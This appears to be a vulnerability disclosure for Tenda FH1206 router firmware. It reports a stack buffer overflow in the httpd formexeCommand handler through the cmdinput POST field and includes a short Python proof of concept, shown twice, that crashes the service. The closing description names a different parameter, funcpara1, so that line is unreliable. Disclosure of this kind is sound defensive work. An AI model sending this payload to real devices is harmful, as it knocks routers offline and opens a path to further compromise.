Overview

Tenda FH1206 V1.2.0.8(8155)_EN

• Firmware download website:
  • https://www.tendacn.com/hk/download/detail-2344.html
  • https://www.tendacn.com/us/download/detail-2344.html

Affected version

V1.2.0.8(8155)_EN

Vulnerability details

The Tenda FH1206 V1.2.0.8(8155)_EN has a stack overflow vulnerability located in the formexeCommand function. The src variable receives the cmdinput parameter from a POST request and is later assigned to the v7 variable, which is fixed at 512 bytes. However, since the user can control the input of cmdinput, the statement strcpy(v7, src); can cause a buffer overflow. The user-provided cmdinput can exceed the capacity of the v7 array, triggering this security vulnerability.

PoC

# formexeCommand 

import requests

ip = '192.168.0.100:80'

url = f"http://{ip}/goform/exeCommand"

data = {'cmdinput':'a'*999}

ret = requests.post(url, data)

Additional Information

###Product_version
Tenda FH1206 
V1.2.0.8(8155)_EN

###Affected_component
the "formexeCommand " function of /bin/httpd; /bin/httpd

###Attack_vector
use a simple exp to attack, like this:
#python3
import requests
ip = '192.168.0.100:80'
url = f"http://{ip}/goform/exeCommand"
data = {'cmdinput':'a'*999}
ret = requests.post(url, data)

###Discription
Tenda FH1206 V1.2.0.8(8155)_EN was discovered to contain a stack-based buffer overflow vulnerability via the funcpara1 parameter at ip/goform/exeCommand.

###Refernce
<https://palm-vertebra-fe9.notion.site/formexeCommand-200db77a90d34c708b903c935c7c65c0>
<https://www.tendacn.com/hk/download/detail-2344.html>